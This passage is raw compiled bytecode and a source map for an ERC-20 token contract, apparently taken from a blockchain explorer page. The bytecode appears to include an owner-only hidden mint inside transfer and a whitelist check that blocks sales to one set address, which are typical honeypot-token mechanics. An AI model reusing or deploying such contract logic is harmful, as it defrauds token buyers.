fffffffffffffffffffffffffffffffffff8214156119a05761199f611933565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119f257607f821691505b60208210811415611a0657611a056119ab565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611a68602883611602565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b6000611aa9826116a1565b9150611ab4836116a1565b925082821015611ac757611ac6611933565b5b828203905092915050565b6000611add826116a1565b9150611ae8836116a1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b1d57611b1c611933565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b84602583611602565b9150611b8f82611b28565b604082019050919050565b60006020820190508181036000830152611bb381611b77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c16602483611602565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca8602283611602565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a602583611602565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc602383611602565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e602683611602565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b83611602565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea2646970667358221220b148c6692aab111e4670b00f8d9c14948661bbf1540ba715cf6c9a1d9555034a64736f6c634300080a0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063e1f20bd014610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806305bd3a0a146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f91906115ae565b610322565b005b61011e6103fd565b60405161012b919061167f565b60405180910390f35b61014e600480360381019061014991906116d7565b61048f565b60405161015b9190611732565b60405180910390f35b61016c6104ad565b604051610179919061175c565b60405180910390f35b61019c60048036038101906101979190611777565b6104b7565b6040516101a99190611732565b60405180910390f35b6101ba6105b8565b6040516101c791906117e6565b60405180910390f35b6101ea60048036038101906101e591906116d7565b6105e0565b6040516101f79190611732565b60405180910390f35b61021a60048036038101906102159190611801565b61068c565b604051610227919061175c565b60405180910390f35b6102386106d5565b005b61024261082b565b60405161024f919061183d565b60405180910390f35b610260610851565b60405161026d919061167f565b60405180910390f35b610290600480360381019061028b91906116d7565b6108e3565b60405161029d9190611732565b60405180910390f35b6102c060048036038101906102bb91906116d7565b6109d7565b6040516102cd9190611732565b60405180910390f35b6102f060048036038101906102eb9190611858565b610c3e565b6040516102fd919061175c565b60405180910390f35b610320600480360381019061031b9190611801565b610cc5565b005b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906118e4565b60405180910390fd5b60005b81518110156103f9576103e68282815181106103d9576103d8611904565b5b6020026020010151610da6565b80806103f190611962565b9150506103ba565b5050565b60606007805461040c906119da565b80601f0160208091040260200160405190810160405280929190818152602001828054610438906119da565b80156104855780601f1061045a57610100808354040283529160200191610485565b820191906000526020600020905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b60006104a361049c610d9e565b8484610e96565b6001905092915050565b6000600654905090565b60006104c4848484611061565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611a7e565b60405180910390fd5b6105ac8561059b610d9e565b85846105a79190611a9e565b610e96565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106826105ed610d9e565b8484600560006105fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067d9190611ad2565b610e96565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106dd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610761906118e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610860906119da565b80601f016020809104026020016040519081016040528092919081815260200182805461088c906119da565b80156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b600080600560006108f2610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690611b9a565b60405180910390fd5b6109cc6109ba610d9e565b8585846109c79190611a9e565b610e96565b600191505092915050565b60006109e1610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4e575060011515600960009054906101000a900460ff161515145b15610a8957610a65610a5e610d9e565b8484611061565b6000600960006101000a81548160ff02191690831515021790555060019050610c38565b610a91610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afe575060001515600960009054906101000a900460ff161515145b15610c2157610b188260065461138590919063ffffffff16565b600681905550610b7082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c10919061175c565b60405180910390a360019050610c38565b610c33610c2c610d9e565b8484611061565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d51906118e4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b610dae610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e32906118e4565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611054919061175c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ed57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611e74565b60405180910390fd5b81816112819190611a9e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113139190611ad2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611377919061175c565b60405180910390a350505050565b60008082846113949190611ad2565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090611ee0565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611445826113fc565b810181811067ffffffffffffffff821117156114645761146361140d565b5b80604052505050565b60006114776113e3565b9050611483828261143c565b919050565b600067ffffffffffffffff8211156114a3576114a261140d565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114e4826114b9565b9050919050565b6114f4816114d9565b81146114ff57600080fd5b50565b600081359050611511816114eb565b92915050565b600061152a61152584611488565b61146d565b9050808382526020820190506020840283018581111561154d5761154c6114b4565b5b835b8181101561157657806115628882611502565b84526020840193505060208101905061154f565b5050509392505050565b600082601f830112611595576115946113f7565b5b81356115a5848260208601611517565b91505092915050565b6000602082840312156115c4576115c36113ed565b5b600082013567ffffffffffffffff8111156115e2576115e16113f2565b5b6115ee84828501611580565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611631578082015181840152602081019050611616565b83811115611640576000848401525b50505050565b6000611651826115f7565b61165b8185611602565b935061166b818560208601611613565b611674816113fc565b840191505092915050565b600060208201905081810360008301526116998184611646565b905092915050565b6000819050919050565b6116b4816116a1565b81146116bf57600080fd5b50565b6000813590506116d1816116ab565b92915050565b600080604083850312156116ee576116ed6113ed565b5b60006116fc85828601611502565b925050602061170d858286016116c2565b9150509250929050565b60008115159050919050565b61172c81611717565b82525050565b60006020820190506117476000830184611723565b92915050565b611756816116a1565b82525050565b6000602082019050611771600083018461174d565b92915050565b6000806000606084860312156117905761178f6113ed565b5b600061179e86828701611502565b93505060206117af86828701611502565b92505060406117c0868287016116c2565b9150509250925092565b600060ff82169050919050565b6117e0816117ca565b82525050565b60006020820190506117fb60008301846117d7565b92915050565b600060208284031215611817576118166113ed565b5b600061182584828501611502565b91505092915050565b611837816114d9565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806040838503121561186f5761186e6113ed565b5b600061187d85828601611502565b925050602061188e85828601611502565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118ce602083611602565b91506118d982611898565b602082019050919050565b600060208201905081810360008301526118fd816118c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061196d826116a1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156119a05761199f611933565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119f257607f821691505b60208210811415611a0657611a056119ab565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611a68602883611602565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b6000611aa9826116a1565b9150611ab4836116a1565b925082821015611ac757611ac6611933565b5b828203905092915050565b6000611add826116a1565b9150611ae8836116a1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b1d57611b1c611933565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b84602583611602565b9150611b8f82611b28565b604082019050919050565b60006020820190508181036000830152611bb381611b77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c16602483611602565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca8602283611602565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a602583611602565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc602383611602565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e602683611602565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b83611602565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea2646970667358221220b148c6692aab111e4670b00f8d9c14948661bbf1540ba715cf6c9a1d9555034a64736f6c634300080a0033

Deployed Bytecode Sourcemap

15762:348:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12724:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8749:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11605:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10009:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11780:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16007:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12908:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10435:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7595:130;;;:::i;:::-;;6699:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9168:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13129:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10932:510;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11448:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9499:83;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12724:174;7043:12;:10;:12::i;:::-;7029:26;;:10;;;;;;;;;;:26;;;7021:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12815:9:::1;12810:81;12834:7;:14;12830:1;:18;12810:81;;;12870:18;12877:7;12885:1;12877:10;;;;;;;;:::i;:::-;;;;;;;;12870:6;:18::i;:::-;12850:3;;;;;:::i;:::-;;;;12810:81;;;;12724:174:::0;:::o;8749:100::-;8803:13;8836:5;8829:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8749:100;:::o;11605:169::-;11688:4;11705:39;11714:12;:10;:12::i;:::-;11728:7;11737:6;11705:8;:39::i;:::-;11762:4;11755:11;;11605:169;;;;:::o;10009:108::-;10070:7;10097:12;;10090:19;;10009:108;:::o;11780:418::-;11886:4;11903:36;11913:6;11921:9;11932:6;11903:9;:36::i;:::-;11950:24;11977:11;:19;11989:6;11977:19;;;;;;;;;;;;;;;:33;11997:12;:10;:12::i;:::-;11977:33;;;;;;;;;;;;;;;;11950:60;;12049:6;12029:16;:26;;12021:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;12111:57;12120:6;12128:12;:10;:12::i;:::-;12161:6;12142:16;:25;;;;:::i;:::-;12111:8;:57::i;:::-;12186:4;12179:11;;;11780:418;;;;;:::o;16007:100::-;16065:5;16090:9;16083:16;;16007:100;:::o;12908:215::-;12996:4;13013:80;13022:12;:10;:12::i;:::-;13036:7;13082:10;13045:11;:25;13057:12;:10;:12::i;:::-;13045:25;;;;;;;;;;;;;;;:34;13071:7;13045:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;13013:8;:80::i;:::-;13111:4;13104:11;;12908:215;;;;:::o;10435:127::-;10509:7;10536:9;:18;10546:7;10536:18;;;;;;;;;;;;;;;;10529:25;;10435:127;;;:::o;7595:130::-;7043:12;:10;:12::i;:::-;7029:26;;:10;;;;;;;;;;:26;;;7021:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7684:1:::1;7663:24;;7669:5;;;;;;;;;;;7663:24;;;;;;;;;;;;7715:1;7699:5;;:18;;;;;;;;;;;;;;;;;;7595:130::o:0;6699:20::-;;;;;;;;;;;;;:::o;9168:104::-;9224:13;9257:7;9250:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9168:104;:::o;13129:375::-;13222:4;13239:24;13266:11;:25;13278:12;:10;:12::i;:::-;13266:25;;;;;;;;;;;;;;;:34;13292:7;13266:34;;;;;;;;;;;;;;;;13239:61;;13339:15;13319:16;:35;;13311:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13407:67;13416:12;:10;:12::i;:::-;13430:7;13458:15;13439:16;:34;;;;:::i;:::-;13407:8;:67::i;:::-;13492:4;13485:11;;;13129:375;;;;:::o;10932:510::-;11011:4;11046:12;:10;:12::i;:::-;11032:26;;:10;;;;;;;;;;:26;;;11031:45;;;;;11071:4;11064:11;;:5;;;;;;;;;;;:11;;;11031:45;11028:407;;;11078:42;11088:12;:10;:12::i;:::-;11102:9;11113:6;11078:9;:42::i;:::-;11128:5;11122;;:11;;;;;;;;;;;;;;;;;;11141:4;11134:11;;;;11028:407;11180:12;:10;:12::i;:::-;11166:26;;:10;;;;;;;;;;:26;;;11165:46;;;;;11205:5;11198:12;;:5;;;;;;;;;;;:12;;;11165:46;11162:273;;;11226:24;11243:6;11226:12;;:16;;:24;;;;:::i;:::-;11213:12;:37;;;;11272:32;11297:6;11272:9;:20;11282:9;11272:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11251:9;:20;11261:9;11251:20;;;;;;;;;;;;;;;:53;;;;11330:9;11310:38;;11319:9;11310:38;;;11341:6;11310:38;;;;;;:::i;:::-;;;;;;;;11357:4;11350:11;;;;11162:273;11378:42;11388:12;:10;:12::i;:::-;11402:9;11413:6;11378:9;:42::i;:::-;11429:4;11422:11;;10932:510;;;;;:::o;11448:151::-;11537:7;11564:11;:18;11576:5;11564:18;;;;;;;;;;;;;;;:27;11583:7;11564:27;;;;;;;;;;;;;;;;11557:34;;11448:151;;;;:::o;9499:83::-;7043:12;:10;:12::i;:::-;7029:26;;:10;;;;;;;;;;:26;;;7021:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9571:3:::1;9562:6;;:12;;;;;;;;;;;;;;;;;;9499:83:::0;:::o;5446:98::-;5499:7;5526:10;5519:17;;5446:98;:::o;12574:90::-;7043:12;:10;:12::i;:::-;7029:26;;:10;;;;;;;;;;:26;;;7021:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12652:4:::1;12634:7;:15;12642:6;12634:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;12574:90:::0;:::o;15045:344::-;15164:1;15147:19;;:5;:19;;;;15139:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15245:1;15226:21;;:7;:21;;;;15218:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15327:6;15297:11;:18;15309:5;15297:18;;;;;;;;;;;;;;;:27;15316:7;15297:27;;;;;;;;;;;;;;;:36;;;;15365:7;15349:32;;15358:5;15349:32;;;15374:6;15349:32;;;;;;:::i;:::-;;;;;;;;15045:344;;;:::o;13510:811::-;13634:1;13616:20;;:6;:20;;;;13608:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13718:1;13697:23;;:9;:23;;;;13689:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13791:6;;;;;;;;;;;13778:19;;:9;:19;;;13774:63;;;13818:7;:15;13826:6;13818:15;;;;;;;;;;;;;;;;;;;;;;;;;13810:24;;;;;;13774:63;13847:21;13871:9;:17;13881:6;13871:17;;;;;;;;;;;;;;;;13847:41;;13924:6;13907:13;:23;;13899:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;14020:6;14004:13;:22;;;;:::i;:::-;13984:9;:17;13994:6;13984:17;;;;;;;;;;;;;;;:42;;;;14061:6;14037:9;:20;14047:9;14037:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;14100:9;14083:35;;14092:6;14083:35;;;14111:6;14083:35;;;;;;:::i;:::-;;;;;;;;13597:724;13510:811;;;:::o;2445:181::-;2503:7;2523:9;2539:1;2535;:5;;;;:::i;:::-;2523:17;;2564:1;2559;:6;;2551:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2617:1;2610:8;;;2445:181;;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:102;498:6;549:2;545:7;540:2;533:5;529:14;525:28;515:38;;457:102;;;:::o;565:180::-;613:77;610:1;603:88;710:4;707:1;700:15;734:4;731:1;724:15;751:281;834:27;856:4;834:27;:::i;:::-;826:6;822:40;964:6;952:10;949:22;928:18;916:10;913:34;910:62;907:88;;;975:18;;:::i;:::-;907:88;1015:10;1011:2;1004:22;794:238;751:281;;:::o;1038:129::-;1072:6;1099:20;;:::i;:::-;1089:30;;1128:33;1156:4;1148:6;1128:33;:::i;:::-;1038:129;;;:::o;1173:311::-;1250:4;1340:18;1332:6;1329:30;1326:56;;;1362:18;;:::i;:::-;1326:56;1412:4;1404:6;1400:17;1392:25;;1472:4;1466;1462:15;1454:23;;1173:311;;;:::o;1490:117::-;1599:1;1596;1589:12;1613:126;1650:7;1690:42;1683:5;1679:54;1668:65;;1613:126;;;:::o;1745:96::-;1782:7;1811:24;1829:5;1811:24;:::i;:::-;1800:35;;1745:96;;;:::o;1847:122::-;1920:24;1938:5;1920:24;:::i;:::-;1913:5;1910:35;1900:63;;1959:1;1956;1949:12;1900:63;1847:122;:::o;1975:139::-;2021:5;2059:6;2046:20;2037:29;;2075:33;2102:5;2075:33;:::i;:::-;1975:139;;;;:::o;2137:710::-;2233:5;2258:81;2274:64;2331:6;2274:64;:::i;:::-;2258:81;:::i;:::-;2249:90;;2359:5;2388:6;2381:5;2374:21;2422:4;2415:5;2411:16;2404:23;;2475:4;2467:6;2463:17;2455:6;2451:30;2504:3;2496:6;2493:15;2490:122;;;2523:79;;:::i;:::-;2490:122;2638:6;2621:220;2655:6;2650:3;2647:15;2621:220;;;2730:3;2759:37;2792:3;2780:10;2759:37;:::i;:::-;2754:3;2747:50;2826:4;2821:3;2817:14;2810:21;;2697:144;2681:4;2676:3;2672:14;2665:21;;2621:220;;;2625:21;2239:608;;2137:710;;;;;:::o;2870:370::-;2941:5;2990:3;2983:4;2975:6;2971:17;2967:27;2957:122;;2998:79;;:::i;:::-;2957:122;3115:6;3102:20;3140:94;3230:3;3222:6;3215:4;3207:6;3203:17;3140:94;:::i;:::-;3131:103;;2947:293;2870:370;;;;:::o;3246:539::-;3330:6;3379:2;3367:9;3358:7;3354:23;3350:32;3347:119;;;3385:79;;:::i;:::-;3347:119;3533:1;3522:9;3518:17;3505:31;3563:18;3555:6;3552:30;3549:117;;;3585:79;;:::i;:::-;3549:117;3690:78;3760:7;3751:6;3740:9;3736:22;3690:78;:::i;:::-;3680:88;;3476:302;3246:539;;;;:::o;3791:99::-;3843:6;3877:5;3871:12;3861:22;;3791:99;;;:::o;3896:169::-;3980:11;4014:6;4009:3;4002:19;4054:4;4049:3;4045:14;4030:29;;3896:169;;;;:::o;4071:307::-;4139:1;4149:113;4163:6;4160:1;4157:13;4149:113;;;4248:1;4243:3;4239:11;4233:18;4229:1;4224:3;4220:11;4213:39;4185:2;4182:1;4178:10;4173:15;;4149:113;;;4280:6;4277:1;4274:13;4271:101;;;4360:1;4351:6;4346:3;4342:16;4335:27;4271:101;4120:258;4071:307;;;:::o;4384:364::-;4472:3;4500:39;4533:5;4500:39;:::i;:::-;4555:71;4619:6;4614:3;4555:71;:::i;:::-;4548:78;;4635:52;4680:6;4675:3;4668:4;4661:5;4657:16;4635:52;:::i;:::-;4712:29;4734:6;4712:29;:::i;:::-;4707:3;4703:39;4696:46;;4476:272;4384:364;;;;:::o;4754:313::-;4867:4;4905:2;4894:9;4890:18;4882:26;;4954:9;4948:4;4944:20;4940:1;4929:9;4925:17;4918:47;4982:78;5055:4;5046:6;4982:78;:::i;:::-;4974:86;;4754:313;;;;:::o;5073:77::-;5110:7;5139:5;5128:16;;5073:77;;;:::o;5156:122::-;5229:24;5247:5;5229:24;:::i;:::-;5222:5;5219:35;5209:63;;5268:1;5265;5258:12;5209:63;5156:122;:::o;5284:139::-;5330:5;5368:6;5355:20;5346:29;;5384:33;5411:5;5384:33;:::i;:::-;5284:139;;;;:::o;5429:474::-;5497:6;5505;5554:2;5542:9;5533:7;5529:23;5525:32;5522:119;;;5560:79;;:::i;:::-;5522:119;5680:1;5705:53;5750:7;5741:6;5730:9;5726:22;5705:53;:::i;:::-;5695:63;;5651:117;5807:2;5833:53;5878:7;5869:6;5858:9;5854:22;5833:53;:::i;:::-;5823:63;;5778:118;5429:474;;;;;:::o;5909:90::-;5943:7;5986:5;5979:13;5972:21;5961:32;;5909:90;;;:::o;6005:109::-;6086:21;6101:5;6086:21;:::i;:::-;6081:3;6074:34;6005:109;;:::o;6120:210::-;6207:4;6245:2;6234:9;6230:18;6222:26;;6258:65;6320:1;6309:9;6305:17;6296:6;6258:65;:::i